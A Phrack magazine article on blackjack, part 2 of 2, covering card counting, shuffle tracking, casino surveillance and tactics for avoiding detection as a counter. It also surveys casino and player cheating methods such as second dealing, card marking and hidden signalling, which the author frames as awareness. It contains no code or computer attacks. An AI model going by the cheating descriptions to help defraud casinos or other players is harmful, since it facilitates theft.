| 4,4 | H | H | H | P | P | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 6,6 | P | P | P | P | P | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 7,7 | P | P | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8,8 | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9,9 | P | P | P | P | P | S | P | P | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

|10,10| S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

H = Hit S = Stand D = Double Down P = Split

End of "How To Hack BlackJack": File 1 of 2

How To Hack Blackjack (Part II)

==Phrack Magazine==

Volume Four, Issue Forty‑Three, File 10 of 27

How to "Hack" BlackJack

By

Lex Luthor

lex@mindvox.phantom.com

Part 2 of 2 (50K)

Card Counting:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Card Counting? Don't you have to be some sort of mathematical genius or have a photographic memory to count cards? No, these are as mythical as that 415‑BUG‑1111 "trace detector" number posted on all those old hacker BBSes. Well, you may now say, what if the casino is using 4, 6, or even 8 decks? Surely you can't keep track of 300+ cards! Don't sweat these details. Probably the hardest part about learning to play successful BlackJack has already been accomplished in the previous section. That is: memorizing the appropriate basic strategy chart. All you really need to count cards is the ability to count up to plus or minus twelve or so...by ONES! Of course there are more complicated systems but that is all you need to do for the simplest ones.

The first card counting systems were developed by our old friend Dr. Thorp. He determined through mathematical computation that the card that has the most influence on the deck being in a favorable condition (for the player) was the five. When the deck is low in fives, the player has a higher advantage than if it's sparse in any other card. Logic dictated that for a very simple card counting strategy, simply keep track of the abundance (or lack thereof) of fives. This is the basis of his "Five Count" system which was later improved to include tens and renamed the "Ten Count" system.

Today, there are many different card counting systems. Typically, the more complex a system is, the better your advantage should you master it. However, the difference between card counting System X and System Y is usually so small that ease of using the system becomes more important than gaining an additional .15 % advantage or whatever it is. I am going to restrict the discussion to a single card counting system: the high/low (also called the plus/minus) point count. This strategy is very easy to master. Two other methods that I recommend if you're serious are the Advanced Plus/Minus and the "Hi‑Opt I" systems. The former being similar to the high/low but assigns fractional values to certain cards as opposed to integer values which are easier to add in your head. The latter method is considered one of the most powerful yet reasonable (with respect to complexity) counting systems of all time and is detailed extensively on pages 213 to 277 of [7].

The quick and dirty reason why card counting works is this: The player gains an advantage when a deck has a SHORTAGE of cards valued 2, 3, 4, 5, 6, 7, 8. When a deck has a SHORTAGE of cards valued 9, 10, Ace; the player has a DISadvantage. If you can tell when the deck is rich in 9's, 10's, and Aces (ie, when you hold the advantage) you can do one of the following things:

1) Bet more money when the deck is favorable to you. 2) Alter your Basic Strategy play to account for the favorability thereby increasing the odds of winning a particular hand. 3) Combine 1 & 2 by betting more AND altering Basic Strategy.

Now lets discuss the +/‑ Point Count. As you can see from the small chart below, a plus value is given to low cards, and a minus value is given to high cards. Notice that 7, 8, and 9 have a value of zero. This is because their overall effect is negligible as compared to the others. Some systems use a value of ‑2 for the Ace instead of ‑1 and give a value of +1 to the seven instead of zero. If you are using a BlackJack computer game for practice, check to see what card counting system(s) it uses. They should offer one of the above two variations. Learn that one, since it will allow you to prepare well for actual casino play. See the "Some Comments Regarding Computer BlackJack Programs for the PC" section for more on this. Now the chart:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| PLUS (+1) || MINUS (‑1) |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 2 | 3 | 4 | 5 | 6 || 7 | 8 | 9 | 10 | A |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 1 | 1 | 1 | 1 | 1 || 0 | 0 | 0 | 1 | 1 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you may notice, this is a balanced system. There are 20 cards in a deck that are valued +1: two through six. There are 16 ten value cards and 4 Aces in a deck (20 total) that are valued ‑1. The remaining 12 cards (7, 8, 9) have a value of zero. At the end of a deck the count should be zero. A good drill to practice is to get a deck of cards, turn them over one by one, and keep track of the count. If you enter a game mid‑way between the deck or shoe, flat bet until the cards are shuffled. Once the cards are shuffled commence counting from zero.

Lets do a quick example using ten cards. The following ten cards are shown in the course of a hand: A, 4, 7, 10, 10, 9, 10, 2, 10, 5. Just so no one gets lost, we will do one card at a time and then keep the running total: the first value is ‑1 (the Ace) & the second is +1 (the 4) = 0 (the current total hand count). The next card is the 7 which is zero so disregard it. The next card is a ten so the total count is now ‑1. The next card is another ten, giving a total count of ‑2. The next card is a nine which has a value of zero so ignore it, total count is still at ‑2. Next is a ten, total count is at ‑3. Next is a two which adds +1 to the minus three yielding a total of ‑2. A quick look at the next two cards shows that the two will cancel each other out (‑1+1=0). So at the end of a hand of ten cards dealt to 2 players and the dealer, the point count is minus two. This provides you with the knowledge that your are at a slight disadvantage. Your next bet should either be the same or a unit or two lower.

From this example you see that it would be easier to count cards if you play in a "cards‑up" game. That way you can see all the cards as they are dealt and count them as they go by. When the dealer deals fast, just count every two cards. You still count each card but you only add to your total count after every two cards since many times the two values will cancel each other out to give a net value of zero, which doesn't need to be added to your total. If you play in a cards‑down game, you may want to consider playing at third base. The reason being is that in a cards‑down game you only see the other players' cards:

a) if you peek at their hand (not polite but it's not cheating like in poker) b) if a player busts

c) when the dealer settles each players' hand.

When there are other people at a table, all this happens rather quickly and you may miss a few cards here and there which essentially invalidates your count. You can't control how fast the dealer deals, but you can slow things down when the dealer prompts you for a play decision.

I am not going to discuss changing basic strategy here. The chart you memorize in Basic Strategy section of this file will be fine for now. If you are already adept at the plus/minus count then find a book that has a complete system including the appropriate changes to Basic Strategy that reflect the current running and/or true count.

For one deck, alter your wager according to the following table:

BET UNITS +/‑ Running Count

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 +1 or less 2 +2 or +3 3 +4 or +5 4 +6 or +7 5 +8 or more

Example: After the first hand of a one deck game, the point count is plus four and you just bet a $5.00 chip. Before the next hand is dealt, wager $15.00 (three units of $5.00) as the above table mandates.

What if there are four, six, or more decks instead of just one? I recommend that you perform a "true‑count" rather than trying to remember different betting strategies for different number of deck games. By doing a true count, the above table can still be used.

The True Count is found by the ensuing equation. I provide an example along with it for the case of having a running count of +9 with one and a half decks left unplayed. It doesn't matter how many decks are used, you just have to have a good eye at guesstimating the number of decks that are left in the shoe. I just measured the thickness of a deck of cards to be 5/8 (10/16) of an inch. Hence the thickness of a half deck is 5/16 of an inch. One and a half decks would be 10/16 + 10/16 + 5/16 = 25/16 or a little over an inch and a half. You probably see a relationship here. The number of decks is approximately equal to the height of the cards in inches. Easy.

Running Count +9

True Count = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = ‑‑‑‑‑ = +6

# of Decks Remaining 1.5

Looking at the table of betting units above, the proper wager would be four units.

If you have trouble keeping the count straight in your head, you can use your chips as a memory storage device. After every hand tally up the net count and update the running or true count by rearranging your chips. This is somewhat conspicuous however, and if done blatantly, may get you labeled a counter.

If for some reason you despise the notion of counting cards, you may want to pick up Reference [11], "Winning Without Counting". The author writes about using kinesics (body language) to help determine what the dealers' hole card is after checking for a Natural. He claims that certain dealers have certain habits as far as body language is concerned, especially when they check to see if they have a BlackJack. The dealer will check the hole card if he/she has a ten value card or an Ace as the up‑card. When the hand is over you will see what the hole card really was. You may be able to discern a certain characteristic about the dealer, such as a raising of the eyebrows whenever the hole card is a 2‑9 or perhaps a slight frown, etc. There is some usefulness to this method but I wouldn't rely on it very much at all. I have only used it for one particular situation. That being when the dealer has a ten up card and checks to see if the hole card is an Ace. Note that many dealers check the hole card very quickly and turn up just the corner of the card so as to prevent any of the players from seeing the card. If the hole card is an Ace, the dealer will turn over the card and declare a BlackJack. However, if the hole card is a 4, many times the dealer will double check it. The reason for this double take is simply that a 4 looks like an Ace from the corner, get a deck of cards and see for yourself. A 4 really looks like an Ace and vice‑versa when the corner is checked in a QUICK motion. So, if you see the dealer double check the hole card and NOT declare a BlackJack, you can be fairly sure the hold card is a four, giving the dealer a total of 14. You can now adjust your basic strategy play accordingly. This situation has only come up a few times in my case, but once was when I had a $50.00 bet riding on the hand and I won the hand by using that additional information. Dr. Julian Braun has previously calculated that the player has about a 10% advantage over the house should he/she know what the dealer's hole card is. This is quite substantial. Of course you have to memorize a specific Basic Strategy chart for the case of knowing what the dealers' total is in order to obtain the maximum benefit. I haven't bothered memorizing this chart simply because it is a rare occurrence to know what the dealers' hole card is. If you sit down at a table with an inexperienced dealer, you might catch a couple more than usual, but I don't think it is enough to warrant the extra work unless you want to turn pro.

Another thing Winning Without Counting mentions is to pay attention to the arches and warps in the cards. Perhaps a lot of the ten value cards have a particular warp in them due to all those times the dealer checked for a BlackJack. The author claims that he has used this to his advantage. Maybe so, but I don't put much stock in this technique. I have enough things to worry about while playing.

One last thing. There is no law or rule that says a dealer cannot count cards. A dealer may count cards because he or she is bored but more likely is that the casino may encourage counting. The reason being that if the deck is favorable to the player, the house can know this and "shuffle up". This is also called preferential shuffling (a game control measure) and it vaporizes your advantage.

Shuffle Tracking:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Shuffle What? Shuffle Tracking. This is a fairly new (15 years +/‑) technique that has not been publicized very much. One problem with many of the BlackJack books out there is that they are not hip to the current game. The obvious reason for this is that many are old or simply re‑formulate strategies that were invented decades ago. It's just like reading "How to Hack the Primos Version 18 Operating System" today. The file may be interesting, many of the commands may be the same, but it doesn't detail how to take advantage of, and subvert the CURRENT version of the OS.

The best definition I have seen is this one quoted from Reference [5]: "'Shuffle‑tracking' is the science of following specific cards through the shuffling process for the purpose of either keeping them in play or cutting them out of play." The concept of Shuffle tracking appears to have resulted from bored mathematician's research and computer simulation of shuffling cards, a familiar theme to BlackJack you say. The main thing that I hope every reader gets from this section is that just because someone shuffles a deck (or decks) of cards does not in any way mean that the cards are "randomized". The methods mentioned in the two previous sections (Basic Strategy and Card Counting) ASSUME A RANDOM DISTRIBUTION OF CARDS! That is an important point. According to some authors, a single deck of cards must be shuffled twenty to thirty times to ensure a truly random dispersion. If a Casino is using a 6 deck shoe, that's 120 to 180 shuffles! Obviously they aren't going to shuffle anywhere near that many times. But don't despair, there are some types of shuffles which are good, and some that are bad. In fact, if the cards were always randomly disbursed, then you would not be reading this section due to it's lack of relevance. As in the Card Counting section, I am going to restrict the discussion to the basics of shuffle tracking as the combination of references listed at the end of this section provide a complete discourse of the topic.

A beneficial (to the player) shuffle for a one deck game is executed by dividing the deck equally into 26 cards and shuffling them together a minimum of three times. This allows the cards to be sufficiently intermixed to yield a fairly random distribution. An adverse shuffle prevents the cards from mixing completely.

The simplest example is the Unbalanced Shuffle. As its name implies, the dealer breaks the deck into two unequal stacks. As an example, lets say you are playing two hands head on with the dealer and the last 10 cards in the deck are dealt. The result of the hand was that both your hands lost to the dealer primarily due to the high percentage of low value cards in the clump. Note that if you were counting, you would have bet a single unit since the deck was unfavorable. The dealer is now ready to shuffle the deck, and separates the deck into 31 cards in one stack and 21 in the other stack. The dealer shuffles the two stacks. If the shuffle is done from the bottom of each stack on up, the top ten cards of the larger stack will remain intact without mixing with any of the other cards. Those ten cards can remain in the order they were just dealt throughout the shuffle if the process of bottom to top shuffling is not altered. You are now asked to cut the deck. If you don't cut the deck, the 10 cards that were dealt last hand will be dealt as your first two hands. The result will be the same as your last and you will lose the two hands. However, if you cut the deck exactly at the end of those ten cards, you have just altered the future to your benefit. Those cards will now be placed at the bottom of the deck. Should the dealer shuffle up early, you will avoid them altogether. In addition, if you were keeping count, you would know that the deck was favorable during the first 3‑4 hands since there would be an abundance of tens in the portion of the deck that will be played. You would accordingly increase you bet size to maximize your winnings.

Some dealers will unknowingly split the deck into unequal stacks. However, more often than not, they are REQUIRED to split the deck into unequal stacks. If they are required to do this, they are performing the House Shuffle. The casino has trained the dealer to shuffle a particular way...on purpose! Why? Because in the long run, the house will benefit from this because most players will not cut any bad clumps out of play. If you have played BlackJack in a casino, how much did you pay attention to the way they shuffled? Like most people you were probably oblivious to it, perhaps you figured that during the shuffle would be a good time to ask that hot waitress for another drink. Regardless, you now see that it may be a good idea to pay attention during the shuffle instead of that set of "big breastseses" as David Allen Grier says on the "In Living Color" TV show ;)‑8‑<

There are a number of shuffle methods, some of which have been labeled as: the "Zone Shuffle", the "Strip Shuffle", and the "Stutter Shuffle". The Zone Shuffle is particular to shoe games (multiple deck games) and is probably one of the most common shuffle methods which is why I mention it here. It is accomplished by splitting the shoe into 4 to 8 piles depending on the number of decks in the shoe. Prescribed picks from each pile are made in a very exact way with intermittent shuffles of each pair of half deck sized stacks. The net effect is a simple regrouping of the cards pretty much in the same region of the shoe as they were before, thereby preventing clumps of cards from being randomly mixed. If the dealer won 40 hands and you won 20, this trend is likely to continue until you are broke or until the unfavorable bias is removed through many shuffles.

What if the players are winning the 40 hands and the dealer only 20? If the dealer has been mentally keeping track of how many hands each side has won in the shoe, the dealer will probably do one of two things. One is to keep the shuffle the same, but 'strip' the deck. When a dealer strips a deck, he/she strips off one card at a time from the shoe letting them fall on top of one another onto the table. This action causes the order of the cards to be reversed. The main consequence is to dissipate any clumping advantages (a bunch of tens in a clump) that the players may have. The second thing the dealer may do is simply change the way they shuffle to help randomize the cards.

I personally believe that casinos use certain shuffles on purpose for the sole reason that they gain some sort of advantage. A BlackJack dealer friend of mine disputes the whole theory of card clumping and shuffle tracking though. The mathematics and simulation prove the non‑random nature of certain shuffles under controlled conditions. Perhaps in an actual casino environment the effect isn't as high. Regardless, next time you are playing in a casino and its time to shuffle a shoe, ask the dealer to CHANGE they WAY he/she shuffles. The answer will nearly always be NO. Try to appeal to the pit boss and he/she will probably mumble something about casino policy. Why are they afraid to change the shuffle?

Relevant Reading: [4], [5] Chapters 5 and 6 pages 71 to 98, [14] pages 463 to 466, and [15] which is very detailed and accessible via Internet FTP.

Casino Security and Surveillance:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I figured this section might get some people's attention. It is important to know what the casino is capable of as far as detecting cheating (by employees and customers) and spotting card counters.

EYE IN THE SKY: A two way mirror in the ceiling of the casino. It's not hard to spot in older casinos as it usually is very long. Before 1973 or so, employees traversed catwalks in the ceiling and it was easy for dealers and players to hear when they were being watched. Sometimes dust from the ceiling would settle down onto a table when someone was above it. Newer casinos use those big dark plexiglass bubbles with video camera's which should be watched constantly. These cameras have awesome Z00M capabilities and according to Reference [9], the cameras can read the word "liberty" on a penny placed on a BlackJack table. I am sure the resolution is better than that for the latest equipment. The video images are also taped for use as evidence should anything that is suspect be detected. Just like computer security audit logs, if no one pays attention to them, they don't do much good. If you want a job monitoring gamblers and casino employees, you need to train for about 500 hours (about twenty 40 hour weeks) to learn all the tricks people try to pull on you. Pretty intensive program wouldn't you say?

CASINO EMPLOYEES: Then there are the casino employees. The dealers watch the players, the floor men watch the dealers and the players, the pitbosses watch the dealers, the floormen, and the players, etc. There may be plain clothes detectives roaming about. In a casino, everyone is suspect.

BLACK BOOK: A company that you will see mentioned in a lot of casino books is Griffin Investigations. They periodically update a book that casino's subscribe to that have pictures and related info on barred card counters and known casino cheats.....I suppose the "black book" as it is called, is analogous to the "Bell security hit‑lists", that had (have?) files on known phreaks and hackers.

Social Engineering the Casino:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you are good at getting an ESS operator to enter NET‑LINE on DN COE‑XXXX, and at getting those "Engineering Resistant Hard Asses up at SNET (Southern New England Telephone)" [as The Marauder affectionately calls them] to give you the new CRSAB number; then this section will be a piece of cake for you to master.

References [3], [7], and [8] have many stories regarding playing in casinos, getting barred, and various exploits. I am not going to repeat any of them here. In each of those books, the authors talk about their first experiences getting barred. In each case they were fairly bewildered as to why they were kicked out, at least until some casino employee or owner told them things like "you're just too good" and the ever diplomatic: "we know your kind, get the hell out!".

As you probably have gathered thus far, card counters are as undesirable in a casino as a phone phreak is in a central office. There are a number of behavioral characteristics which have been attributed to the 'typical' card counter. Probably the most obvious act of a counter is a large increase in bet size. If you recall in the Card Counting section, when the deck is favorable, you bet more. When the deck is unfavorable, you bet less. Dr. Thorp's original system required a variation in bet size from one to ten units. When the deck is favorable the system may dictate that you go from a ten dollar bet to a hundred dollar bet. Kind of gets the attention of the dealer and the pit boss. However, this type of wild wagering is typical of big money hunch bettors. Hunch betters will just plop down a bunch of chips at random due to 'hunches'. Therefore, a large increase in bet size won't necessarily cause you to be pegged as a counter.

Intense concentration, never taking your eyes off the cards, lack of emotion...ie, playing like a computer, is pretty much a give away that you are counting. Other things such as 'acting suspicious', meticulously stacking your chips, betting in discernable patterns, and a devout abstention from alcohol may also attract unwanted attention.

Another criteria used for spotting counters is if there are two or more people playing in concert with one another. Ken Uston is famous for his BlackJack teams. They have literally won millions of dollars collectively. When the "Team‑LOD" gets together to play, we have to pretend we don't know each other so as not to attract undue attention ;‑)

What I mean by Social Engineering the casino is to list ways that trick the casino into thinking you are just a dumb tourist who is throwing money away. Look around, smile, act unconcerned about your bet, don't be afraid to talk to the dealer, floorperson, or pit boss. Don't play 8 hours straight. Perhaps order a drink. Things of this nature will help deflect suspicion.

I only recall attracting attention once. The casino wasn't very busy, there were 3 people at the table including myself. I only had about an hour to play so I bet aggressively. I started with $5 and $10 but made some $50.00 bets whenever I got a feeling that I was going to win the next hand (quite the scientific strategy I know). A woman next to me who seemed to be a fairly seasoned player made a comment that I was a little too aggressive. The pit boss hovered about the table. My hour was nearly up, I bet $10.00 for the dealer and $50.00 for myself. I lost the hand leaving me only $100.00 ahead, and left. The only thing I could think of besides the betting spread which really wasn't a big deal was that the casino was FREEZING inside. I was shivering like hell, it probably looked like I was shaking out of fear of being spotted as a counter or worse...a cheater.

So what if a casino thinks you are counter? To be honest, there have probably been less than 1000 people who have been permanently barred from play (ie, they have their mugs in the black book). A far greater number have been asked to leave but were not prevented from returning in the future.

Tipping the dealer may not necessarily get the casino off your back but certainly doesn't hurt. When you toke the dealer, place the chip in the corner of your betting box a few inches from your bet. You may want to say "we are in this one together" or some such to make sure they are aware of the tip. This approach is better than just giving them the chip because their 'fate' is tied in with yours. If your hand wins, 99 out of 100 times they will take the tip and the tip's winnings off the table.

The 1 out of 100 that the dealer let the tip+win ride happened to me over and over again for the better part of a day. It was a week before I had to go back to college and I was broke, with no money to pay the deposits for rent and utilities. Basically, if I didn't come up with some money in 7 days, I was not going back to school. This was 4 years ago BTW. I took out $150 on my credit card (stupid but hey, I was desperate) and started playing and winning immediately. I pressed my bets time and time again and in an hour or two had $500 in front of me (+$350). I started losing a bit so I took a break for a short while. I went back to a different table with a different dealer. As soon as I sat down I started winning. I started to tip red chips ($5.00) for the dealer. The first couple of times he took the $10.00 right away. I kept winning steadily and continued to toke him. Then he started to let the $10.00 ride! I was amazed because I had never seen that before. That is when I knew I was HOT. If the dealer is betting on you to win, that says something. When I stopped playing I cashed in eight black chips. I left with eight one hundred dollar bills, a net profit of $650.00, just enough to cover everything. Whew! I probably tipped close to $100.00 that day, and the dealer must have made double to triple that due to him betting with me. There were a number of times when the pit boss wasn't close that the dealer would IGNORE my hit or stand signal. The first time he did this I repeated myself and he did what I asked but gave me a 'look'. Needless to say, I lost the hand. After that, if he 'thought' I said stand, I didn't argue. This occurred when he had a ten as the up‑card so he knew his total from peeking at the hole card. I am not sure if this is considered cheating because I did not ask him to do this, nor did we conspire. It just happened a few times, usually when I had $25‑$50 bets on the line which is when I made sure to throw in a red chip for him.

Casino Cheating and Player Cheating:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cheating by the house is rare in the major casinos ie, those located in Nevada and Atlantic City. The Nevada Gaming Commission may revoke a casino's gambling license if a casino is caught cheating players. Granted, there may be a few employees (dealers, boxmen, whomever) that may cheat players, but it is extremely doubtful any casino in Nevada or Atlantic City does so on a casino‑wide scale. You definitely should be wary of any casino that is not regulated such as those found on many cruise ships. Because a casino does not have to answer to any regulatory agency does not mean it is cheating players. The fact is that casino's make plenty of money legitimately with the built‑in house advantages and don't really need to cheat players to survive. I provide some cheating methods here merely to make you aware of the scams. These techniques are still carried out in crooked underground casinos and private games.

The single deck hand‑held BlackJack game is quite a bit more susceptible to cheating by both the dealer and the player than games dealt from a shoe. The preferred method of dealer cheating is called the "second deal". As you may infer, this technique requires the card mechanic to pretend to deal the top card but instead deals the card that is immediately under the top card. Imagine if you could draw a low card when you need a low card, and a high card when you need a high card. You could win large sums of money in a very short period. Well, a dealer who has the ability to execute the demanding sleight of hand movements for second dealing can drain even the best BlackJack player's bankroll in short order.

If someone is going to deal seconds, they must know what the second card is if he or she is to benefit. One way to determine the second card is by peeking. A mechanic will distract you by pointing or gesticulating with the hand that is holding the deck. "Look! There's Gail Thackeray!". While you are busy looking, the dealer is covertly peeking at the second card. A more risky method is pegging. A device called a pegger is used to put small indentations in the cards that the dealer can feel. Pegging all the ten value cards has obvious benefits.

Another method is the "high‑low pickup". I like this one because it's easy for a novice to do especially in a place where there are a lot of distractions for the players. After every hand, the dealer picks up the cards in a high‑low alternating order. The mechanic then proceeds with the "false shuffle" in which the deck is thought to have been shuffled but in reality the cards remain in the same order as before the shuffle. As you well know by now, a high‑low‑high‑low arrangement of the cards would be death to the BlackJack player. Get dealt a ten and then a 5, you have to hit, so get another ten. Busted. Since the dealer doesn't lose until he/she busts, all the players who bust before lose. Bottom dealing and switching hole cards are other techniques that may be used to cheat players.

For shoe games, there is a device called a "holdout shoe" that essentially second deals for the dealer. Discreet mirrors and prisms may be contained in the holdout shoe which only allow the dealer to see what card is next. Shorting a regular shoe of ten cards will obviously have a detrimental effect on the BlackJack player.

Player cheating isn't recommended. However, I'll quickly list some of the methods for awareness purposes. The old stand‑by of going up to a table, grabbing some chips, and running like hell is still done but certainly lacks originality. Marking cards while you play is another popular method. "The Daub" technique is done by clandestinely applying a substance that leaves an almost invisible smudge on the card. High value cards like tens are usually the targets. One scam mentioned in one of the references was the use of a special paint that was only visible to specially made contact lenses. The "hold out" method requires the palming of a card and substituting a better one. This is usually done when there is big money bet on the hand. One of the risks to these methods is when the deck is changed since the pit boss always scrutinizes the decks after they are taken out of play.

Other methods entail playing two hands and switching cards from one hand to the other, counterfeiting cards and/or casino chips, adding chips after a winning hand (I have seen this done twice, couldn't believe my eyes but certainly wasn't going to RAT the thieves out). Some dealers may be careless when looking at their hole card for a BlackJack. A person behind the dealer on the other side of the pit may be able to discern the card. The value is then signalled to a player at the table. Astute pit bosses may notice someone who is not playing that scratches their head too much though. Wireless signalling devices have been used for various purposes but some casinos have new electronic detection systems that monitor certain frequencies for activity.

Some Comments Regarding Computer BlackJack Software for PC's:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I strongly recommend that you practice using a BlackJack program of some kind before going out to play with real cash. The first program I used for 'training' some years ago was "Ken Uston's BlackJack" on my old Apple ][+. Later I acquired "Beat The House" for the same machine. I recently bought a program for my IBM and have been using it to refresh my memory regarding basic strategy, card counting, and money management techniques. I assume you will recognize the guy's name in the title now that you have read most of this article. I bought: "Dr. Thorp's Mini BlackJack" by Villa Crespo Software at a Wal‑Mart of all places for a measly $7.88. This is an abridged version however. Villa Crespo charges $12.95 for it if you order via mail. They also offer an unabridged version for $29.95 via mail. Villa Crespo (don't ask me where they got that name) offers other programs for Craps, Video Poker, and 7‑Card Stud in case you are interested in those games of chance. By the way, on the order form I also noticed "FAILSAFE Computer Guardian (Complete protection and security for your system)" for $59.95. For some reason any time a piece of paper has the word 'security' on it, my eyes zero in on it....

Some features that I liked about this scaled down version of their BlackJack program were the TUTOR, which advises you on whether to hit, stand, take insurance (no way), etc. as per Basic Strategy. The Tutor for the abridged version does NOT take into consideration the card count when making recommendations though. If you are counting the cards, the program keeps count also, so if you lose count you can check it by pressing a function key. The STATS option is neat since it keeps track of things such as how many hands were dealt, how many you won/lost, etc. and can be printed out so you can track your progress. The program allows you to save your current session in case you get the urge to dial up the Internet to check your email, something that should be done every hour on the hour....

One thing I did not like about the program was that it allowed you to bet over your bankroll. I accidentally pushed [F2] (standardized at $500.00 a bet instead of [F1] (standardized at $5.00 a bet) ‑‑‑‑ a slight difference in wager I'd say. Having only $272.00 in my bankroll didn't stop the program from executing the command and in my opinion it should have prevented the overdraft.

The first time I played Dr. Thorp's Mini BlackJack, it took me about 95 hands to double my money. I started with $200.00, bet from $5.00 to $25.00, never dropped below $180.00 which surprised me, and received 3 BlackJacks. I won 63 hands, and lost 32. I played head on against the dealer, although the program allows for up to 6 players. I consider that lucky since I had my fair share of going broke in later sessions.

My advice when using a BlackJack computer program is: do not start with a bizzillion dollars or anything like that. Start with the amount that you truly plan to use when you sit down at an actual table. If you play in a crowded casino, all the low minimum bet tables (ie: $1.00 to $5.00) will most likely be filled to capacity and only $10.00 or $15.00 tables will have openings. Keep this in mind because when you make bets with the computer program, you should wager no less than whatever the minimum will be at the table you sit down at. If your bankroll is only $200.00 playing at anything more than a $5.00 minimum table is pushing it.

Another thing to note is that playing at home is kind of like watching Jeopardy on TV while you are sitting on the couch. People who have been on the show always say it was much harder than when they blurted out answers during dinner with their mouths full (the Heimlich maneuver‑‑a real lifesaver!). The same thing goes for BlackJack. When you are sitting at an actual table, your adrenaline is flowing, your heart starts to pump faster, you make irrational plays especially when you start losing, and odds are you will forget things that were memorized perfectly. There is no substitute for the real thing and real experience.

Quick Comments on Other Casino Games:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A few people suggested I briefly mention some of the other casino games so I added this section. I don't go into much detail at all as this file is too unwieldy already. Besides, if you want to know more, I am sure you'll pick up the appropriate reference. Hundreds of books have been published on gambling and they are available by contacting [2]. My aim here was to mention details that most people may not be aware of.

BACCARAT: This is the game you see in movies a lot. See [12]'s FAQ for a good explanation of this game.

CRAPS: Craps is probably the most complicated casino game as far as the different ways to bet things are concerned but its really not that hard to learn. I just want to throw one table at you adapted from Reference [13]. The table won't make much sense unless you are already familiar with craps. In case you have forgotten or didn't know, craps is 'that dice game'. The purpose of presenting it is to save you $$$$$ <‑‑ Still love that dollar sign key! hehe

Lamest Bets at the Craps Table

BET PAYS SHOULD PAY YOUR ADVANTAGE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Any‑7 4 to 1 5 to 1 ‑16.7 % 2 (or 12) 30 to 1 35 to 1 ‑13.9 % Hard 10 (or 4) 7 to 1 8 to 1 ‑11.1 % 3 (or 11) 15 to 1 17 to 1 ‑11.1 % Any Craps 37 to 1 8 to 1 ‑11.1 % Hard 6 (or 8) 9 to 1 10 to 1 ‑9.1 %

SLOTS: Playing slots is a gamble. Obviously you say. No, I mean its a gamble to play them. House advantages are almost never displayed on a particular slot machine. Different machines and different locations may have different casino win percentages. When you go up to a slot machine, you have no idea if its' advantage over you is 5% or 25%. Unless you have been watching it, you don't know if it just paid off a big jackpot either. I don't play slots as a matter of principle. If you do play I think there are still some $.05 slots in Vegas. Play the nickel slots and keep your shirt, especially if its an LOD T‑shirt.

VIDEO POKER: Reference [13] gives the following advice regarding video poker: "...don't expect to win. Manage your money so that you limit your losses." I think its a bit negative but I can't argue with the logic. Also, as with slots, you may want to play at a machine that is networked with others which has a progressive payoff. This way at least you have a chance of making the big bucks in addition to those periodic small payoffs.

VIDEO BLACKJACK: If you like to avoid people and like BlackJack, you may be thinking that this is a great way for you to "hack two systems with one password" and make a little money on the side. Before you start putting quarter or dollar tokens into video BlackJack machines there are a couple of things to know. First, you can't use card counting techniques because every hand is essentially dealt from a new deck. When the computer deals a hand it is just providing 'random' cards. Perhaps if you saw the source code, you may be able to determine some sort of bias but I suspect it would be minuscule at best. The rules vary from machine to machine and the maximum allowable bet varies also. As with the video poker and video slot machines, the owner of the machine may set the options to their taste (amount of profit).

Selected Bibliography:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following are some references you may want to check out and some of my sources of information for this article. They are not in any particular order and the format is far from standard as opposed to my thesis bibliography :)

[1] "BlackJack Forum Newsletter" by RGE Publishing in Oakland California. This is a quarterly publication which has the location and rule variations info (among other things) for casinos in the state of Nevada.

[2] The Gamblers Book Club (its really a store) can sell you a sample of the BlackJack Forum Newsletter for $10.00. They have all kinds of new and out of print books, used magazines, etc. They are located in Vegas (630 S. 11th St.) so stop by in person or call 1‑800‑634‑6243 which was valid as of 6/1/93 since I just gave them a ring...the guy I spoke to was very nice and helpful so I thought I'd give them a plug here.

[3] "Beat The Dealer" by Dr. Edward O. Thorp. Make sure you get the SECOND edition (1966) since it has Dr. Julian Braun's additions to the original 1962 edition.

[4] "Gambling Times Magazine" (now defunct), 'BlackJack Bias Part 1 and 2' July and August 1987 Issues by Mason Malmuth. This magazine was great because it kept you up to date on the latest in gambling systems and what casinos are up to. The article is about the author using his PC to perform simulations regarding the effects of non‑random card distribution on BlackJack.

[5] "Break The Dealer" by Jerry L. Patterson and Eddie Olsen, 1986 Perigee Books. Worth the money for the chapters on Shuffle Tracking alone.

